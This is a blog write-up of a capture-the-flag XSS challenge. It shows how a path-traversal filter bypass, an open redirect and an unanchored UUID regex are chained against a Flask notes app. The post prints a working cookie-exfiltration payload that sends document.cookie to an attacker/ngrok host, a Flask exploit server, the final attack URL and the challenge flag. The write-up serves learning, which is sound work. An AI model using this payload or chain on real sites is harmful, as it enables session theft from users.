Wednesday, August 14, 2024

Intigriti's August challenge by CryptoCat

Intigriti keeps challenging us with XSS fun time, this time with a challenge by CryptoCat. I had a great time doing it.

This writeup follows the line of thinking of solving the challenge from zero, so it will be easier to explain the solution backwards (you will understand).

The Challenge

https://challenge-0824.intigriti.io/

It is a simple CRUD for Notes, in Python/Flask, where we can self-register and create our own private notes, which then are saved in a PostgreSQL database.

Actually, we can create only one note and view it, like in the example below.

  • http://localhost/view?note=fcd2cd30-205d-45a7-8cfd-d8e75bc0b710

As usual in XSS challenges, there is a flag to be recovered and a bot to simulate a privileged user following an attacker link or note.

There is an endpoint of the bot to visit an URL that gives us the target:

app.post("/visit", async (req, res) => {
    let { url } = req.body;
    if (!url) {
        return res.status(400).json({ error: "URL is required" });
    }

    if (!url.startsWith(BASE_URL)) {
        return res
            .status(400)
            .json({ error: `URL must start with ${BASE_URL}` });
    }

    let browser;
    try {
        browser = await puppeteer.launch({
            headless: true,
            args: [
                '--no-sandbox',
                '--disable-setuid-sandbox',
                '--disable-dev-shm-usage',
                '--disable-accelerated-2d-canvas',
                '--disable-gpu',
                '--window-size=800x600',
            ],
        });
        const page = await browser.newPage();

        await page.setCookie({
            name: "flag",
            value: FLAG,
            url: BASE_URL,
        });

        await page.goto(url, { waitUntil: "networkidle2", timeout: 9999 });

        await sleep(5000);

        await browser.close();
        res.json({ status: "success" });
    } catch (error) {
        console.error(`Error visiting page: ${error}`);
        res.status(500).json({ error: error.toString() });
    } finally {
        if (browser) {
            await browser.close();
        }
    }
});
  • It visits a URL that we control.
  • It checks that the URL starts with the BASE_URL. It basically means that the URL must be in the same origin of the app.
  • It sets the flag (our target) as a cookie of this origin (BASE_URL).
  • The browser waits 5 seconds before closing (the time we have to leak the flag).

Let’s steal the thing. Bad boy time.

Finding an XSS

This app has 2 XSS protections for notes:

  • DOMPurify on the client side (JavaScript)
  • bleach on the server side (Python)

At first I was looking at some other app suspect behaviour, but there is a very obvious XSS vulnerability on the view.html template.

There is a function called fetchNoteById that calls an API endpoint to retrieve a note by the ID.

function fetchNoteById(noteId) {
    if (noteId.includes("../")) {
        showFlashMessage("Input not allowed!", "danger");
        return;
    }
    fetch("/api/notes/fetch/" + decodeURIComponent(noteId), {
        method: "GET",
        headers: {
            "X-CSRFToken": csrf_token,
        },
    })
    .then((response) => response.json())
    .then((data) => {
        if (data.content) {
            document.getElementById("note-content").innerHTML =
                DOMPurify.sanitize(data.content);
            document.getElementById(
                "note-content-section"
            ).style.display = "block";
            showFlashMessage("Note loaded successfully!", "success");
        } else if (data.error) {
            showFlashMessage("Error: " + data.error, "danger");
        } else {
            showFlashMessage("Note doesn't exist.", "info");
        }
        if (data.debug) {
            document.getElementById("debug-content").outerHTML =
                data.debug;
            document.getElementById(
                "debug-content-section"
            ).style.display = "block";
        }
    });
}

This is the function that uses DOMPurify to protect the note. But the interesting part is the end, that I will repeat here:

if (data.debug) {
    document.getElementById("debug-content").outerHTML =
        data.debug;
    document.getElementById(
        "debug-content-section"
    ).style.display = "block";
}

data is the JSON result received by the API. if there is a debug attribute on it, the code replaces the outerHTML of the debug-content-section DIV.

Although outerHTML is less common, it is as XSS’able as the usual innerHTML. The difference is replacing the parent object.

If there is no content or error attributes, it just flashes a message, but the rest of the function is processed. No issue.

OK, we just need to return a debug attribute here and get our flag… simple, right? NO!

The App returns attributes content and note_id. No debug for you.

{
    "content": "x\n<strong>Abc</strong>\ndef\n\nghi\n&lt;img src=\"aaa.png\"&gt;",
    "note_id": "fcd2cd30-205d-45a7-8cfd-d8e75bc0b710"
}

Path Traversal

There is another hint at the start of the same fetchNoteById function:

if (noteId.includes("../")) {
    showFlashMessage("Input not allowed!", "danger");
    return;
}

It checks for ../, which is a typical path traversal payload part.

The fetch call just concatenate the noteId to the URL:

fetch("/api/notes/fetch/" + decodeURIComponent(noteId), {
    method: "GET",
    headers: {
        "X-CSRFToken": csrf_token,
    },
})

The normal API URL endpoint would look like this:

http://localhost/api/notes/fetch/fcd2cd30-205d-45a7-8cfd-d8e75bc0b710

In this case, the note ID fcd2cd30-205d-45a7-8cfd-d8e75bc0b710 comes from the view URL in the address bar http://localhost/view?note=fcd2cd30-205d-45a7-8cfd-d8e75bc0b710.

Since we control the noteId, we can use a path traversal to look for another API that (maybe) could return a JSON with our desired debug attribute. Since the concatenation starts with http://localhost/api/notes/fetch/, we can only try to traverse to a path inside the app (no attacker domain).

Let’s suppose (for now) there is an API on a route /api2/notes2/hack/<note_id>. If we use a fake noteId ../../../api2/notes2/hack/fcd2cd30-205d-45a7-8cfd-d8e75bc0b710, the concatenation will look like this:

http://localhost/api/notes/fetch/../../../api2/notes2/hack/fcd2cd30-205d-45a7-8cfd-d8e75bc0b710

When normalizing it, the final URL will look like this:

http://localhost/api2/notes2/hack/fcd2cd30-205d-45a7-8cfd-d8e75bc0b710

But first we have to bypass the filter below (Read carefully, because I’ll not repeat it for the 4th time!!)

if (noteId.includes("../")) {
    showFlashMessage("Input not allowed!", "danger");
    return;
}

OK, the good news is that ..\ will have the same effect 😎

..\..\..\api2/notes2/hack/<some_random_id>

And we have our different API. Hack the flag. End of writeup… NO!!

There is no api2 in the app that would return our debug attribute.

Open Redirect

We don’t have an API inside the app BUT, there is a very interesting endpoint to save us:

@main.route('/contact', methods=['GET', 'POST'])
def contact():
    form = ContactForm()
    return_url = request.args.get('return')
    if request.method == 'POST':
        if form.validate_on_submit():
            flash('Thank you for your message!', 'success')
            if return_url and is_safe_url(return_url):
                return redirect(return_url)
            return redirect(url_for('main.home'))
    if return_url and is_safe_url(return_url):
        return redirect(return_url)
    return render_template('contact.html', form=form, return_url=return_url)

The /contact route receives a return parameter and it will redirect to it if the is_safe_url validation is passed. Let’s check it.

def is_safe_url(target):
    test_url = urlparse(urljoin(request.host_url, target))
    return test_url.scheme in ('http', 'https')

Not that fancy. It just tests the scheme for http(s).

We have an open redirect. We can check it with curl.

Let’s first simulate an API to check.

$ echo '{"debug": "neptunian"}' > debug.json
$ python -m http.server 7777
Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...

And in another terminal:

# test the JSON Server
curl http://localhost:7777/debug.json
{"debug": "neptunian"}

# test the open redirect
$ curl -L http://localhost/contact?return=http://localhost:7777/debug.json
{"debug": "neptunian"}

Ok, our open redirect allows us to use a local endpoint to call (redirect to) a remote API that could return our XSS payload!

But it all started with fetchNoteById. We need to make the function call it.

Almost there.

From URL to XSS

How do we make it happen with the browser only calling a URL?

The app has a /view endpoint:

@main.route('/view', methods=['GET'])
def view_note():
    note_id = request.args.get('note') or ''
    return render_template('view.html', note_id=note_id)

It takes the note query parameter and use it to render the view.html template, which uses the parameter to fill a hidden input.

<input type="text" name="note_id" id="note-id-input" class="form-control" value="" />

The page has some JavaScript running at the end. Two event listeners are added, but only one is interesting for our attack:

window.addEventListener("load", function () {
    const urlParams = new URLSearchParams(window.location.search);
    const noteId = urlParams.get("note");
    if (noteId) {
        document.getElementById("note-id-input").value = noteId;
        validateAndFetchNote(noteId);
    }
});

This event is fired on the page load and takes note querystring parameter to replace the input value (irrelevant) and call the validateAndFetchNote function.

function validateAndFetchNote(noteId) {
    if (noteId && isValidUUID(noteId.trim())) {
        history.pushState(null, "", "?note=" + noteId);
        fetchNoteById(noteId);
    } else {
        showFlashMessage(
            "Please enter a valid note ID, e.g. 12345678-abcd-1234-5678-abc123def456.",
            "danger"
        );
    }
}

This function validates the UUID format of the noteId, changes the history state (irrelevant) and calls our beloved fetchNoteById function.

OK! There is a path from the URL to our vulnerable function.

  1. URL is /view/<note_id>
  2. onload event is fired, which gets the note_id from the URL.
  3. <note_id> is used as parameter for validateAndFetchNote
  4. validateAndFetchNote uses it note_id to call fetchNoteById.

The rest of it was analyzed in the previous chapters. But there is still a validation separating us from our dreams.

Regex Bypass

The isValidUUID is the last frontier to achive our XSS.

function isValidUUID(noteId) {
    const uuidRegex =
        /[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
    return uuidRegex.test(noteId);
}

This regex validates the UUID format in the noteId parameter. Right? Right??

Let’s take a look at regex101.

OK, it matches the UUID sample noteId but…

Wait, what??

It keeps finding the match, because this regex tests for the existence of the pattern, but do not block other characters at the beginning of the string (^). Only at the end ($).

We can add our path traversal noteId in the beginning!

..\..\..\contact?return=https://0000-000-00-000-00.ngrok-free.app/x?fcd2cd30-205d-45a7-8cfd-d8e75bc0b710

The question mark before the noteId is to avoid breaking the route in my attacker app later, turning the UUID in an ignored querystring.

Setup the Attack Server

We need to setup an attack server that will deliver the poisoned JSON with the XSS payload inside the debug attribute.

Let’s first take a look at our desired XSS payload (finally):

<img src="http://attacker/noimage" onerror="fetch('http://attacker/send_flag?cookies='+encodeURIComponent(document.cookie), {'mode': 'no-cors'});">

No mistery here. The image does not exist and fires the onerror event, that calls our JavaScript. We need to put it inside the debug attribute of our JSON payload.

We need a web app to deliver that.

from flask import Flask, jsonify, request, make_response

app = Flask(__name__)

REPLACER = '<<<HOST>>>'

@app.route('/fireinthehole', methods=['GET', 'OPTIONS'])
def fire():
    origin = request.environ['werkzeug.request'].host_url
    exploit = open('leak_flag.html', 'r').read().replace(REPLACER, origin)
    resp = make_response(jsonify({'debug': exploit}))
    return resp

The code looks a little more complicated than needed, but I’ll get there.

The server reads the XSS template file and replaces the <<<HOST>>> string with the requested host (because I never know my ngrok URL). And then it returns the JSON answer (finally).

We can now serve it remotely with ngrok.

$ python exploit_server.py
 * Serving Flask app 'exploit_server'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:7777
Press CTRL+C to quit

In another terminal.

ngrok http 7777

In a 3rd terminal (a lot of terminals by now):

curl https://0000-000-00-000-00.ngrok-free.app/fireinthehole
{"debug":"DEBUG OPEN\n<img src=\"http://0000-000-00-000-00.ngrok-free.app/noimage\" onerror=\"fetch('http://0000-000-00-000-00.ngrok-free.app/send_flag?cookies='+encodeURIComponent(document.cookie), {'mode': 'no-cors'});\">\nDEBUG CLOSE"}

Fine, fine, just fine!

CORS!

There is still an error here, but for learning purposes, let’s suffer from it first in the browser.

http://localhost/view?note=..\..\..\contact?return=https://0000-000-00-000-00.ngrok-free.app/fireinthehole?fcd2cd30-205d-45a7-8cfd-d8e75bc0b710

Nothing happens and we do not get the flag yet, but we can see the fetch calling our path traversed URL and using the redirect to call our ngrok endpoint.

We stop at a CORS error with more detail from the console:

Access to fetch at 'https://0000-000-00-000-00.ngrok-free.app/fireinthehole?fcd2cd30-205d-45a7-8cfd-d8e75bc0b710' (redirected from 'http://localhost/contact?return=https://0000-000-00-000-00.ngrok-free.app/fireinthehole?fcd2cd30-205d-45a7-8cfd-d8e75bc0b710') from origin 'http://localhost' has been blocked by CORS policy: Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

We have to add the CORS headers on our server side.

@app.route('/fireinthehole', methods=['GET', 'OPTIONS'])
def fire():
    origin = request.environ['werkzeug.request'].host_url
    exploit = open('leak_flag.html', 'r').read().replace(REPLACER, origin)
    resp = make_response(jsonify({'debug': exploit}))
    
    # new stuff
    resp.headers['Access-Control-Allow-Origin'] = '*'
    resp.headers['Access-Control-Allow-Headers'] = 'x-csrftoken'
    
    return resp

I didn’t knew about the Access-Control-Allow-Headers header. We have to allow the header x-csrftoken. If we do not do it, the CORS will be blocked anyway, because the fetch call comes with this X-CSRFToken header.

fetch("/api/notes/fetch/" + decodeURIComponent(noteId), {
    method: "GET",
    headers: {
        "X-CSRFToken": csrf_token,
    },
})

(I swear… last time you see this code!!)

Let’s try again with new server and our mailbox flashes:

Oh yeah baby!

Hack the Admin (bot)

First on client side, with a submit.

Note the use of http://127.0.0.1 here, because this is the BASE_URL configured for the app. Using http://localhost here would fail validation.

And then…

Finally!

Report URL

https://challenge-0824.intigriti.io/view?note=..\..\..\contact?return=https://0000-000-00-000-00.ngrok-free.app/fireinthehole?fcd2cd30-205d-45a7-8cfd-d8e75bc0b710

Server Flag INTIGRITI{1337uplivectf_151124_54v3_7h3_d473}

References

Capture the Flag , Web , Writeup